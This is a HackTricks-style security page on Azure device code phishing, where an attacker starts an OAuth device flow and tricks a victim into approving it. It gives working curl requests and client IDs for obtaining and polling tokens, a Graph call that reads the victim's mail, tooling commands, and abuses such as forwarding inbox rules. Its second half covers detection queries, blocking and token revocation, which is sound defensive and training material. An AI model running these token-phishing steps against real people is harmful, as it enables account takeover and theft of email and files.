Skip to content

Latest commit

 

History

History
149 lines (106 loc) · 6.51 KB

File metadata and controls

149 lines (106 loc) · 6.51 KB

Az - Device Code Authentication Phishing

{{#include ../../../banners/hacktricks-training.md}}

Basic Information

Device code phishing abuses the OAuth 2.0 Device Authorization Grant so the victim authenticates on the legitimate Microsoft page https://microsoft.com/devicelogin, completes the real MFA challenge, and still gives the attacker the resulting tokens.

This is not a fake login portal and not an MFA bypass. The attacker starts the flow, keeps the opaque device_code, and tricks the victim into entering the matching user_code. When the victim authorizes the request, the attacker's polling client receives the access token, refresh token, and ID token.

This works especially well against Microsoft first-party public clients because:

  • Public clients do not have a client secret, so they can be impersonated.
  • The protocol does not cryptographically bind the code-displaying client to the browser where the victim signs in.
  • Requesting offline_access can return a refresh token that survives the initial ~1 hour access token lifetime.
  • With Microsoft FOCI behavior, a stolen refresh token may be exchanged for additional Microsoft resources. Check Az - Tokens & Public Applications.

Attack Flow

  1. The attacker requests a device code for a useful public client and resource.
  2. Entra returns:
    • user_code: short value shown to the victim
    • device_code: opaque value kept by the attacker
    • verification_uri: usually https://microsoft.com/devicelogin
    • interval / expires_in
  3. The attacker shows the victim the user_code via a lure page or email workflow.
  4. The victim opens the real Microsoft page, enters the code, signs in, satisfies MFA, and grants consent if requested.
  5. The attacker polls the token endpoint until authorization_pending becomes a successful token response.

Device code request

curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  --data-urlencode "scope=https://graph.microsoft.com/.default offline_access"

Poll the token endpoint

curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
  --data-urlencode "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  --data-urlencode "device_code=<DEVICE_CODE>"

Until the victim finishes the flow the response is typically authorization_pending. After approval, the same polling request returns usable tokens.

Common high-value first-party clients

  • d3590ed6-52b3-4102-aeff-aad2292ab01c - Microsoft Office
  • 04b07795-8ddb-461a-bbee-02f9e1bf7b46 - Azure CLI
  • 1950a258-227b-4e31-a9cf-717495945fc2 - Azure PowerShell

Token Abuse

Once the attacker receives an access token, it can be used directly against Microsoft Graph:

curl -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://graph.microsoft.com/v1.0/me/messages"

Common follow-on actions:

  • Read mail, contacts, and directory relationships.
  • Create or modify inbox rules to hide warnings or forward mail.
  • Access OneDrive and SharePoint content.
  • Keep renewing access with the refresh token without another MFA prompt.

Warning

A password reset alone does not invalidate an already-issued refresh token. Session/token revocation is a separate response action.

Offensive Tooling

Import-Module .\TokenTactics.psd1
Get-AzureToken -Client MSGraph
roadtx gettokens --device-code -c msgraph -r msgraph

For refresh-token pivoting, FOCI behavior, and other token exchange tricks, check Az - Tokens & Public Applications.

Detection & Hunting

The main Entra sign-in indicator is:

  • AuthenticationProtocol == "deviceCode"

In many environments, any device-code sign-in should be rare enough to baseline individually. Prioritize events with:

  • High-value first-party client IDs
  • A fast IP/geography split between the victim sign-in and later token use
  • Graph / Exchange activity immediately after the sign-in
  • New-InboxRule or Set-InboxRule soon after the sign-in

Baseline device-code sign-ins

SigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| project TimeGenerated, UserPrincipalName, AppDisplayName, AppId, IPAddress, Location, ResourceDisplayName
| order by TimeGenerated desc

Hunt first-party device-code use from multiple IPs in 15 minutes

SigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| where AppId in ("d3590ed6-52b3-4102-aeff-aad2292ab01c","04b07795-8ddb-461a-bbee-02f9e1bf7b46","1950a258-227b-4e31-a9cf-717495945fc2")
| summarize IPs=dcount(IPAddress), IPList=make_set(IPAddress, 10) by bin(TimeGenerated, 15m), UserPrincipalName, AppDisplayName, AppId
| where IPs >= 3

Correlate device-code sign-ins with inbox-rule changes

let dc = SigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| project DC_Time=TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress;
dc
| join kind=inner (OfficeActivity | where Operation in ("New-InboxRule","Set-InboxRule") | project RuleTime=TimeGenerated, UserId, Operation) on $left.UserPrincipalName == $right.UserId
| where RuleTime between (DC_Time .. DC_Time + 1h)

Prevention & Incident Response

  • Block device-code authentication in Conditional Access authentication flows and only allow narrow exceptions for documented browserless workflows.
  • Train users to never enter a Microsoft device code unless they initiated the flow themselves on the device being connected.
  • If a phish succeeds, revoke sessions/refresh tokens, review Graph/Exchange/SharePoint activity, and remove malicious mailbox rules.
Connect-MgGraph -Scopes "User.RevokeSessions.All"
Revoke-MgUserSignInSession -UserId victim@corp.onmicrosoft.com

For Conditional Access caveats and MFA-related bypass context, check Az - Conditional Access Policies & MFA Bypass.

References

{{#include ../../../banners/hacktricks-training.md}}